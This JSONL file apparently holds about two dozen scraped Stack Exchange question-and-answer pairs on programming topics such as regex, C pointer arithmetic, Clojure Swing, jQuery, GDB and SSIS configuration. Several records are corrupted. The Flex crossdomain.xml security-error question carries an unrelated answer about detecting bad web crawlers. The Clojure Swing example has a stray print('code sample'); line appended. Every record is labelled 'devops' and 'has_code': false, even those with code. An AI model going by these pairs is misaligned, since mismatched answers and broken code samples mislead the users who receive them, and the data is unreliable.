{"id": "hf_b098cfd60381", "question": "<p>I have a comma separated list of strings like the one below.</p>\n\n<pre><code>a,b   ,c ,d, ,      , , ,e, f,g,h  .\n</code></pre>\n\n<p>I want to write a regular expression that will replace the empty values i.e., strings that contain only white spaces to 'NA'. So the result should be</p>\n\n<pre><code>a,b   ,c ,d,NA,NA,NA,NA,e, f,g,h  .\n</code></pre>\n\n<p>I tried using \",\\s+,\" to search but it skips the alternate empty strings and results in</p>\n\n<pre><code>a,b   ,c ,d,NA,      ,NA, ,e, f,g,h  .\n</code></pre>\n\n<p>What's the correct regex to use here ?</p>\n", "question_body": "", "answer": "```\n(?<=,)\\s+(?=,)\n```\nThis is a lookbehind for a comma, then whitespace, then a lookahead for a comma", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.922259"}
{"id": "hf_ea7f69fddcfd", "question": "<p>I keep reading that, in C, using pointer arithmetic is generally faster than subscripting for array access. Is this true even with modern (supposedly-optimizing) compilers?</p>\n\n<p>If so, is this still the case as I begin to move away from learning C into Objective-C and <a href=\"http://en.wikipedia.org/wiki/Cocoa_%28API%29\" rel=\"noreferrer\">Cocoa</a> on Macs?</p>\n\n<p>Which is the preferred coding style for array access, in both C and Objective-C? Which is considered (by professionals of their respective languages) more legible, more \"correct\" (for lack of a better term)?</p>\n", "question_body": "", "answer": "You need to understand the reason behind this claim. Have you ever questioned yourself why it is faster? Let's compare some code:\n```\n```\nint i;\nint a[20];\n\n// Init all values to zero\nmemset(a, 0, sizeof(a));\nfor (i = 0; i < 20; i++) {\n    printf(\"Value of %d is %d\\n\", i, a[i]);\n}\n```\n```\nThey are all zero, what a surprise :-P The question is, what means\n```\na[i]\n```\nactually in low level machine code? It means\nTake the address of\n```\na\n```\nin memory.\nAdd\n```\ni\n```\ntimes the size of a single item of\n```\na\n```\nto that address (int usually is four bytes).\nFetch the value from that address.\nSo each time you fetch a value from\n```\na\n```\n, the base address of\n```\na\n```\nis added to the result of the multiplication of\n```\ni\n```\nby four. If you just dereference a pointer, step 1. and 2. don't need to be performed, only step 3.\nConsider the code below.\n```\n```\nint i;\nint a[20];\nint * b;\n\nmemset(a, 0, sizeof(a));\nb = a;\nfor (i = 0; i < 20; i++) {\n    printf(\"Value of %d is %d\\n\", i, *b);\n    b++;\n}\n```\n```\nThis code\nmight\nbe faster... but even if it is, the difference is tiny. Why might it be faster? \"*b\" is the same as step 3. of above. However, \"b++\" is not the same as step 1. and step 2. \"b++\" will increase the pointer by 4.\n(\nimportant for newbies\n: running\n```\n++\n```\non a pointer will not increase the\npointer one byte in memory! It will\nincrease the pointer by as many bytes\nin memory as the data it points to is\nin size. It points to an\n```\nint\n```\nand the\n```\nint\n```\nis four bytes on my machine, so b++\nincreases b by four!)\nOkay, but why might it be faster? Because adding four to a pointer is faster than multiplying\n```\ni\n```\nby four and adding that to a pointer. You have an addition in either case, but in the second one, you have no multiplication (you avoid the CPU time needed for one multiplication). Considering the speed of modern CPUs, even if the array was 1 mio elements, I wonder if you could really benchmark a difference, though.\nThat a modern compiler can optimize either one to be equally fast is something you can check by looking at the assembly output it produces. You do so by passing the \"-S\" option (capital S) to GCC.\nHere's the code of first C code (optimization level\n```\n-Os\n```\nhas been used, which means optimize for code size and speed, but don't do speed optimizations that will increase code size noticeably, unlike\n```\n-O2\n```\nand much unlike\n```\n-O3\n```\n):\n```\n```\n_main:\n    pushl   %ebp\n    movl    %esp, %ebp\n    pushl   %edi\n    pushl   %esi\n    pushl   %ebx\n    subl    $108, %esp\n    call    ___i686.get_pc_thunk.bx\n\"L00000000001$pb\":\n    leal    -104(%ebp), %eax\n    movl    $80, 8(%esp)\n    movl    $0, 4(%esp)\n    movl    %eax, (%esp)\n    call    L_memset$stub\n    xorl    %esi, %esi\n    leal    LC0-\"L00000000001$pb\"(%ebx), %edi\nL2:\n    movl    -104(%ebp,%esi,4), %eax\n    movl    %eax, 8(%esp)\n    movl    %esi, 4(%esp)\n    movl    %edi, (%esp)\n    call    L_printf$stub\n    addl    $1, %esi\n    cmpl    $20, %esi\n    jne L2\n    addl    $108, %esp\n    popl    %ebx\n    popl    %esi\n    popl    %edi\n    popl    %ebp\n    ret\n```\n```\nSame with the second code:\n```\n```\n_main:\n    pushl   %ebp\n    movl    %esp, %ebp\n    pushl   %edi\n    pushl   %esi\n    pushl   %ebx\n    subl    $124, %esp\n    call    ___i686.get_pc_thunk.bx\n\"L00000000001$pb\":\n    leal    -104(%ebp), %eax\n    movl    %eax, -108(%ebp)\n    movl    $80, 8(%esp)\n    movl    $0, 4(%esp)\n    movl    %eax, (%esp)\n    call    L_memset$stub\n    xorl    %esi, %esi\n    leal    LC0-\"L00000000001$pb\"(%ebx), %edi\nL2:\n    movl    -108(%ebp), %edx\n    movl    (%edx,%esi,4), %eax\n    movl    %eax, 8(%esp)\n    movl    %esi, 4(%esp)\n    movl    %edi, (%esp)\n    call    L_printf$stub\n    addl    $1, %esi\n    cmpl    $20, %esi\n    jne L2\n    addl    $124, %esp\n    popl    %ebx\n    popl    %esi\n    popl    %edi\n    popl    %ebp\n    ret\n```\n```\nWell, it's different, that's for sure. The 104 and 108 number difference comes of the variable\n```\nb\n```\n(in the first code there was one variable less on stack, now we have one more, changing stack addresses). The real code difference in the\n```\nfor\n```\nloop is\n```\n```\nmovl    -104(%ebp,%esi,4), %eax\n```\n```\ncompared to\n```\n```\nmovl    -108(%ebp), %edx\nmovl    (%edx,%esi,4), %eax\n```\n```\nActually to me it rather looks like the first approach is faster(!), since it issues one CPU machine code to perform all the work (the CPU does it all for us), instead of having two machine codes. On the other hand, the two assembly commands below might have a lower runtime altogether than the one above.\nAs a closing word, I'd say depending on your compiler and the CPU capabilities (what commands CPUs offer to access memory in what way), the result might be either way. Either one might be faster/slower. You cannot say for sure unless you limit yourself exactly to one compiler (meaning also one version) and one specific CPU. As CPUs can do more and more in a single assembly command (ages ago, a compiler really had to manually fetch the address, multiply\n```\ni\n```\nby four and add both together before fetching the value), statements that used to be an absolute truth ages ago are nowadays more and more questionable. Also who knows how CPUs work internally? Above I compare one assembly instructions to two other ones.\nI can see that the number of instructions is different and the time such an instruction needs can be different as well. Also how much memory these instructions needs in their machine presentation (they need to be transferred from memory to CPU cache after all) is different. However modern CPUs don't execute instructions the way you feed them. They split big instructions (often referred to as CISC) into small sub-instructions (often referred to as RISC), which also allows them to better optimize program flow for speed internally. In fact, the first, single instruction and the two other instructions below might result in the\nsame set of sub-instructions\n, in which case there is no measurable speed difference whatsoever.\nRegarding Objective-C, it is just C with extensions. So everything that holds true for C will hold true for Objective-C as well in terms of pointers and arrays. If you use Objects on the other hand (for example, an\n```\nNSArray\n```\nor\n```\nNSMutableArray\n```\n), this is a completely different beast. However in that case you must access these arrays with methods anyway, there is no pointer/array access to choose from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.958933"}
{"id": "hf_76c63476b3ab", "question": "<p>What is the best way to do GUIs in <a href=\"http://en.wikipedia.org/wiki/Clojure\" rel=\"noreferrer\">Clojure</a>?</p>\n\n<p>Is there an example of some functional <a href=\"http://en.wikipedia.org/wiki/Swing_%28Java%29\" rel=\"noreferrer\">Swing</a> or <a href=\"http://en.wikipedia.org/wiki/Standard_Widget_Toolkit\" rel=\"noreferrer\">SWT</a> wrapper?\nOr some integration with <a href=\"http://en.wikipedia.org/wiki/JavaFX\" rel=\"noreferrer\">JavaFX</a> declarative GUI description which could be easily wrapped to <a href=\"http://en.wikipedia.org/wiki/S-expression\" rel=\"noreferrer\">s-expressions</a> using some macrology?</p>\n\n<p>Any tutorials?</p>\n", "question_body": "", "answer": "From this\npage\n:\n```\n```\n(import '(javax.swing JFrame JButton JOptionPane)) ;'\n(import '(java.awt.event ActionListener))          ;'\n\n(let [frame (JFrame. \"Hello Swing\")\n     button (JButton. \"Click Me\")]\n (.addActionListener button\n   (proxy [ActionListener] []\n     (actionPerformed [evt]\n       (JOptionPane/showMessageDialog  nil,\n          (str \"<html>Hello from <b>Clojure</b>. Button \"\n               (.getActionCommand evt) \" clicked.\")))))\n\n (.. frame getContentPane (add button))\n\n (doto frame\n   (.setDefaultCloseOperation JFrame/EXIT_ON_CLOSE)\n   .pack\n   (.setVisible true)))\n\nprint(\"code sample\");\n```\n```\nAnd, of course, it would be worth looking at the\ninteroperability\nsection of clojure's website.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.996732"}
{"id": "hf_20da723f340a", "question": "<p>I am trying to get data from my server, used RemoteObject to accomplish it.\nWhen I run the application on my localhost it works great but when iam using it on my server i get a Channel.Security.Error(Security Error accessing URL).</p>\n\n<p>On the server side logs there is a mention about cross domain .\n77.127.194.4 - - [23/Oct/2008 21:15:11] \"GET /crossdomain.xml HTTP/1.1\" 501</p>\n\n<p>Any one encountered the same problem ? any idea ?</p>\n", "question_body": "", "answer": "One thing you didn't list, that are used commonly to detect bad crawlers.\nHit speed, good web crawlers will break their hits up so they don't deluge a site with requests.  Bad ones will do one of three things:\nhit sequential links one after the other\nhit sequential links in some paralell sequence (2 or more at a time.)\nhit sequential links at a fixed interval\nAlso, some offline browsing programs will slurp up a number of pages, I'm not sure what kind of threshold you'd want to use, to start blocking by IP address.\nThis method will also catch mirroring programs like fmirror or wget.\nIf the bot randomizes the time interval, you could check to see if the links are traversed in a sequential or depth-first manner, or you can see if the bot is traversing a huge amount of text (as in words to read) in a too-short period of time.  Some sites limit the number of requests per hour, also.\nActually, I heard an idea somewhere, I don't remember where, that if a user gets too much data, in terms of kilobytes, they can be presented with a captcha asking them to prove they aren't a bot.  I've never seen that implemented though.\nUpdate on Hiding Links\nAs far as hiding links goes, you can put a div under another, with CSS (placing it first in the draw order) and possibly setting the z-order.  A bot could not ignore that, without parsing all your javascript to see if it is a menu.  To some extent, links inside invisible DIV elements also can't be ignored without the bot parsing all the javascript.\nTaking that idea to completion, uncalled javascript which could potentially show the hidden elements would possilby fool a subset of javascript parsing bots.  And, it is not a lot of work to implement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.058545"}
{"id": "hf_8ee4871056b8", "question": "<p>I have an abstract generic class <code>BLL&lt;T&gt; where T : BusinessObject</code>. I need to open an assembly that contains a set of concrete BLL classes, and return the tuples (businessObjectType, concreteBLLType) inside a Dictionary. There is the part of the method I could do until now, but I'm having problems to discover T.</p>\n\n<pre><code>protected override Dictionary&lt;Type, Type&gt; DefineBLLs()\n{\n   string bllsAssembly = ConfigurationManager.AppSettings[\"BLLsAssembly\"];\n\n   Type[] types = LoadAssembly(bllsAssembly);\n\n   Dictionary&lt;Type, Type&gt; bllsTypes = new Dictionary&lt;Type, Type&gt;();\n\n   foreach (Type type in types)\n   {\n     if (type.IsSubclassOf(typeof(BLL&lt;&gt;)))\n        /* how to know T in the situation below? */\n        bllsTypes.Add(??businessObjectType (T)??, type);\n   }\n\n   return bllsTypes;\n}\n</code></pre>\n", "question_body": "", "answer": "So the concrete classes will be closed rather than generic? Here's a short program which demonstrates what I\nthink\nyou're after...\n```\n```\nusing System;\nusing System.Reflection;\n\npublic abstract class Base<T>\n{\n}\n\npublic class Concrete : Base<string>\n{\n}\n\nclass Test\n{\n    static void Main()\n    {\n        Type type = typeof(Concrete);\n        Type baseType = type.BaseType;\n        Type typeOfT = baseType.GetGenericArguments()[0]; // Only one arg\n        Console.WriteLine(typeOfT.Name); // Prints String\n    }\n}\n```\n```\nNote that here I'm\nassuming\nthat we only need to go up one level to get to the appropriate base type, and that the concrete class\nwill\nbe closed. You'd want to put more checks into your real code, of course, but I suspect it was the call to\nGetGenericArguments\nthat you were missing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.111167"}
{"id": "hf_ec20c654de89", "question": "<p>I'm writing a C Shell program that will be doing <code>su</code> or <code>sudo</code> or <code>ssh</code>. They all want their passwords in console input (the TTY) rather than stdin or the command line.</p>\n\n<p>Does anybody know a solution?</p>\n\n<p>Setting up password-less <code>sudo</code> is not an option.</p>\n\n<p><a href=\"/questions/tagged/expect\" class=\"post-tag\" title=\"show questions tagged &#39;expect&#39;\" rel=\"tag\">expect</a> could be an option, but it's not present on my stripped-down system.</p>\n", "question_body": "", "answer": "Take a look at\n```\nexpect\n```\nlinux utility.\nIt allows you to send output to stdio based on simple pattern matching on stdin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.139402"}
{"id": "hf_4173cd1de77d", "question": "<p>I have 3 divs where only one is visible by default, they each contain information about a product. Below this divs is a list of 3 images which are images of the products. By default of course the 1st list item is selected and has <code>class=\"selected\"</code>. When a different product image is clicks then <code>class=\"selected\"</code> moves to that list item and the div above it changes to hidden and the div containing the other product information needs to appear.</p>\n\n<p>I have searched all over the place for a plugin which can do what I want, they are all limited in some way which stops me doing from doing it.</p>\n", "question_body": "", "answer": "Consider the following code:\n```\n```\n<img id=\"img1\" src=\"1.jpg\" desc=\"d1\" class=\"selected prodImg\" />\n<img id=\"img2\" src=\"2.jpg\" desc=\"d2\" class=\"prodImg\" />\n<img id=\"img3\" src=\"3.jpg\" desc=\"d3\" class=\"prodImg\"/>\n\n<div id=\"d1\">description 1</div>\n<div id=\"d2\" class=\"hidden\">description 2</div>\n<div id=\"d3\" class=\"hidden\">description 3</div>\n\n<script>\n\n    $(\".prodImg\").click(function() {\n\n        if ($(this).hasClass(\"selected\")) return;\n\n        $(\"#\" + $(\".selected\").attr(\"desc\")).addClass(\"hidden\");\n        $(\".selected\").removeClass(\"selected\");\n\n        $(\"#\" + $(this).attr(\"desc\")).removeClass(\"hidden\");\n        $(this).addClass(\"selected\");\n\n    });\n\n</script>\n```\n```\nThis should get you pretty close.  You need to define the relationship between your images and divs...  so I added a 'desc' attribute to the images.  The extra 'prodImg' class on the images allows you to ensure that only those images are being wired up for this type of swap in and out behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.173082"}
{"id": "hf_bb00e9dba34c", "question": "<p>In all honesty, I think the answer is \"no;\" however, I want to get a second opinion. Basically, I need one micro-controller device to send a steady signal to another one, but the communicate between them is using RS232. So I think that I have to create/update the communication messages to get it to do what I want.</p>\n\n<p>What do you think?</p>\n", "question_body": "", "answer": "You should be able to set something like DTR (Data Terminal Ready), pin 20, or DSR (Data Set Ready), pin 6, high and keep it there as your steady-state signal. This is how modems/terminals detect that there is a device on the other end that is ready to communicate.  It all depends on what level of access you have to the hardware through your driver.\n[EDIT] This doesn't involve sending data, although you could still do that using TX/RX, pins 2 & 3.\nRS-232 Reference\non wikipedia", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.203483"}
{"id": "hf_5a3165475130", "question": "<p>Since many years a GUI-standard are the menu-bars of applications with menus popping up, if you click or hover an entry in the menu-bar. Some websites implement this feature too, but they are using Javascript, as far as  I can see. For different reasons Javascript can be a problem, so the question: Is this possible to implement without Javascript, only using HTML and CSS?</p>\n", "question_body": "", "answer": "You can use the pseudoclass :hover to get an hover effect.\n```\n```\na:link {\n color: blue;\n}\n\na:hover {\n  color: red;\n}\n```\n```\nI can give a more extensive example but not right now (need to get the kids to the dentist).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.239324"}
{"id": "hf_061d7d5b9dee", "question": "<p>I have created a .NET DLL which makes some methods COM visible.</p>\n\n<p>One method is problematic. It looks like this:</p>\n\n<pre><code>bool Foo(byte[] a, ref byte[] b, string c, ref string d)\n</code></pre>\n\n<p>VB6 gives a compile error when I attempt to call the method:</p>\n\n<blockquote>\n  <p>Function or interface marked as\n  restricted, or the function uses an\n  Automation type not supported in\n  Visual Basic.</p>\n</blockquote>\n\n<p>I read that array parameters must be passed by reference, so I altered the first parameter in the signature:</p>\n\n<pre><code>bool Foo(ref byte[] a, ref byte[] b, string c, ref string d)\n</code></pre>\n\n<p>VB6 still gives the same compile error.</p>\n\n<p>How might I alter the signature to be compatible with VB6?</p>\n", "question_body": "", "answer": "Try\n```\n```\n[ComVisible(true)]\nbool Foo([In] ref byte[] a, [In] ref byte[] b, string c, ref string d)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.338125"}
{"id": "hf_e89eedaf74a4", "question": "<p>I'm running Python 2.6 on Unix and when I run the interactive prompt (<a href=\"http://en.wikipedia.org/wiki/SQLite\" rel=\"noreferrer\">SQLite</a> is supposed to be preinstalled) I get:</p>\n\n<pre><code>[root@idev htdocs]# python\nPython 2.6 (r26:66714, Oct 23 2008, 16:25:34)\n[GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n&gt;&gt;&gt; import sqlite\nTraceback (most recent call last):\nFile \"&lt;stdin&gt;\", line 1, in &lt;module&gt;\nImportError: No module named sqlite\n&gt;&gt;&gt;\n</code></pre>\n\n<p>How do I resolve this?</p>\n", "question_body": "", "answer": "```\n```\nimport sqlite3\n```\n```\nsqlite3\n- DB-API 2.0 interface for SQLite databases.\nYou are missing the\n```\n.so\n```\n(shared object) - probably an installation step. In my Linux python installation,\n```\n_sqlite3\n```\nis at:\n```\n```\n${somewhere}/lib/python2.6/lib-dynload/_sqlite3.so\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.372747"}
{"id": "hf_0ba724c5392d", "question": "<p>I want to print the full length of a C-string in GDB.  By default it's being abbreviated, how do I force GDB to print the whole string?</p>\n", "question_body": "", "answer": "```\n```\nset print elements 0\n```\n```\nFrom the GDB manual\n:\n```\nset print elements\n```\n```\nnumber-of-elements\n```\nSet a limit on how many elements of an array GDB will print. If GDB is printing a large array, it stops printing after it has printed the number of elements set by the\n```\nset print elements\n```\ncommand. This limit also applies to the display of strings. When GDB starts, this limit is set to 200.\nSetting\nnumber-of-elements\nto zero means that the printing is unlimited\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.396172"}
{"id": "hf_1cc2cbd460ae", "question": "<p>So what is the easiest way to accomplish this?</p>\n", "question_body": "", "answer": "Path of least resistance is to download\nTortoise\n, which supports this out of the box.\nFrom their features page:\nCan create a graph of\n  all revisions/commits. You can then\n  easily see where you created a\n  tag/branch or modified a file/folder\n  Graphs of commit statistics of the\n  project Easy comparing of two branches\n  or tags", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.455195"}
{"id": "hf_b8fe9555c5dc", "question": "<p>I have to override Add method of \"Controls\" property of myControl that is extended from a Panel control of windows. For that i extended ControlCollection class into MyControlCollection where i overriden its Add method. Now i declared a Controls property of MyControlCollection type to hide panel's Controls property. When i am accessing this.Controls.Add(control), it refers to overriden Add method. But if i drags and drops a control on myControl the behaviour is of base type's Add method. Can any body suggest the cause and remedy for this problem? Thanks in advance.</p>\n", "question_body": "", "answer": "The cause is that the designer is calling Control.Controls rather than accessing your separate collection. To be honest, your solution sounds like it's destined to cause trouble - hiding members usually does.\nWhat are you trying to achieve, exactly? It doesn't look like there's a nice event to hook into in\n```\nControlCollection\n```\nbut there may be a different way of tackling the problem.\nEDIT: I've just seen that\n```\nControl\n```\nhas a\n```\nControlAdded\n```\nevent - would subscribing to that be enough for you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.501403"}
{"id": "hf_28db5dc896b6", "question": "<p>Is it possible to enable a second monitor programatically and extend the Windows Desktop onto it in C#? It needs to do the equivalent of turning on the checkbox in the image below.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ss2sE.png\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "I don't have the full answer here but I am almost sure that you will have to call out of .Net to do this.  You will have to use Pinvoke to call an unmanaged dll.  A great resource for this is pinvoke.net.\nI did a quick search and found\nhttp://www.pinvoke.net/default.aspx/user32/ChangeDisplaySettings.html\nwhich probably isn't exactly what you want but you will probably find it somewhere on pinvoke.net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.531709"}
{"id": "hf_5a9f87111476", "question": "<p>I am trying to make our SQL Server Integration Services packages as portable as possible and the one thing that is preventing that is that the path to the config is always an absolute path, which makes testing and deployment a headache. Are there any suggestions for making this more manageble?</p>\n\n<p>Another issue is when another developer gets the package out of source control the path is specific to the developers machine.</p>\n", "question_body": "", "answer": "If you are trying to execute your packages using Visual Studio then the configuration file path will be hardcoded in there. So if you move your project around you'll need to change the path in the package settings. To avoid this you could use the Environment variable option to store the configuration file path. Then you'll only need to change that.\nFor testing and deployment however you should probably use the dtexec utility to execute your packages. Make some batch files for that. Preferably one for each different environment. Here the configuration file path can be relative.\n```\n```\ndtexec /File Package.dtsx /Conf configuration.dtsConfig\n```\n```\nThis is if you're packages are on file system. You can also store them in SQL Server. You can also store your configuration in SQL Server which may provide flexibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.569690"}
{"id": "hf_f1949aa7d4fd", "question": "<p>I need to display a small (15x15 pixel) animation in a Flex app.  I have it FLV format, but it could be converted to somthing else.  I'd prefer to have the file embedded in the app (it's only 8k in size).  I've seen posts about displaying animated GIFs using third-party code which would be OK, but is there a way to do this with the native Flex libs.  I also realize that FLVs can be displayed in Video objects but only if they are external files.</p>\n", "question_body": "", "answer": "It is a lot easier converting it into a SWF and displaying it in an\n```\nImage\n```\ncontrol.\nSWFTools\ncan convert animated GIF into SWF file, small enough to be embedded in your app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.605028"}
{"id": "hf_af244ba3d1e0", "question": "<p>I'm trying to write a small app that monitors how much power is left in a notebook battery and I'd like to know which Win32 function I could use to accomplish that.</p>\n", "question_body": "", "answer": "For Vista and up you can use\nRegisterPowerSettingNotification\nFor earlier functions see the\nPower Management Functions\nin this section of the MSDN page \"Power Management Functions: Windows Server 2003 and Earlier\"\nYou can see example code of the Vista method on\ncodeproject\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.631588"}
{"id": "hf_b41dde73ec6a", "question": "<p>I have a number of custom controls that I am trying to enable designer support for. The signature looks something like the following:</p>\n\n<pre><code>[ToolboxData(\"&lt;{0}:MyDropDownList runat=\\\"server\\\" CustomProp=\"123\"&gt;&lt;/{0}:MyDropDownList&gt;\")]\npublic class MyDropDownList: DropDownList\n{\n   ... code here\n}\n</code></pre>\n\n<p>This works fine, but when I drag a control onto the page from the toolbox, the TagPrefix that gets added is \"cc1\":</p>\n\n<pre><code>&lt;%@ Register Assembly=\"DBMClientPortal.Controls\" Namespace=\"DBMClientPortal.Controls\"\n    TagPrefix=\"cc1\" %&gt;\n</code></pre>\n\n<p>Obviously it is somewhat irrelevant what that TagPrefix is... it works as it stands, but I figured I <em>must</em> be able to change it somehow and curiosity got the better of me...</p>\n\n<p>Anyone know how to define what the TagPrefix will be set to when dragging a custom control onto a page in visual studio?</p>\n\n<p>Thanks,\nMax</p>\n", "question_body": "", "answer": "It looks something like this:\n```\n```\n[assembly:TagPrefix(\"MyControls\",\"RequiredTextBox\")]\n```\n```\nand\nhere's\nsome more info about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.681961"}
{"id": "hf_58901b588cc0", "question": "<p>I'm writing tests for a business method that invokes some DAO classes to perform operations over a database.</p>\n\n<p>This method, firstly retrieves a JDBC connection from a DataSource object, The same connection is passed to all DAO instances, so I can use it to control the transaction. So, if everything works properly, I must invoke commit() over the connection object.</p>\n\n<p>I would like to test if the commit() is invoked, so I've thought to create an expectation (I'm using JMock) that checks that. But since the Connection class isn't a direct neighbour from my Business class, I don't know how to do this.</p>\n\n<p>Someone knows how to overcome this? There is some JMock facility for this, or some alternative design that allows to overcome this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You need to mock\n```\nDataSource\n```\nand\n```\nConnection\n```\nso that your mock\n```\nDataSource\n```\nreturns your mock\n```\nConnection\n```\n. And yes, this kind of thing ends up becoming a real pain...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.708114"}
{"id": "hf_4196b9c929d6", "question": "<p>I need to access a network resource on which only a given Domain Account has access.\nI am using the LogonUser call, but get a \"User does not have required priviliege\" exception, as the web application is running with the asp.net account and it does not have adequate permissions to make this call.</p>\n\n<p>Is there a way to get around it?\nChanging the identity or permissions of the ASP.Net account is not an option as this is a production machine with many projects running.\nIs there a better way to achieve this?</p>\n\n<p>Using Asp.Net 2.0, Forms Authentication.</p>\n\n<p>Kind Regards.</p>\n", "question_body": "", "answer": "You could add an\n```\n```\n<identity impersonate=\"true\" userName=\"\"/>\n```\n```\ntag to your web.config but that might not be ideal as you probably don't want to run the entire site as that user...\nCan you map the network share as a local drive with the DomainName & Password... and then pull files to the website via the mapped drive ?\n```\n```\nNET USE Z: \\\\SERVER\\Share password /USER:DOMAIN\\Username /PERSISTENT:YES\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.749583"}
{"id": "hf_fb8d785e953d", "question": "<p>I have a very simple jQuery Datepicker calendar:</p>\n\n<pre><code>$(document).ready(function(){\n    $(\"#date_pretty\").datepicker({ \n    });\n});\n</code></pre>\n\n<p>and of course in the HTML...</p>\n\n<pre><code>&lt;input type=\"text\" size=\"10\" value=\"\" id=\"date_pretty\"/&gt;\n</code></pre>\n\n<p>Today's date is nicely highlighted for the user when they bring up the calendar, but how do I get jQuery to pre-populate the textbox itself with today's date on page load, without the user doing anything?  99% of the time, the today's date default will be what they want.</p>\n", "question_body": "", "answer": "```\n```\nvar myDate = new Date();\nvar prettyDate =(myDate.getMonth()+1) + '/' + myDate.getDate() + '/' +\n        myDate.getFullYear();\n$(\"#date_pretty\").val(prettyDate);\n```\n```\nseemed to work, but there might be a better way out there..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.843572"}
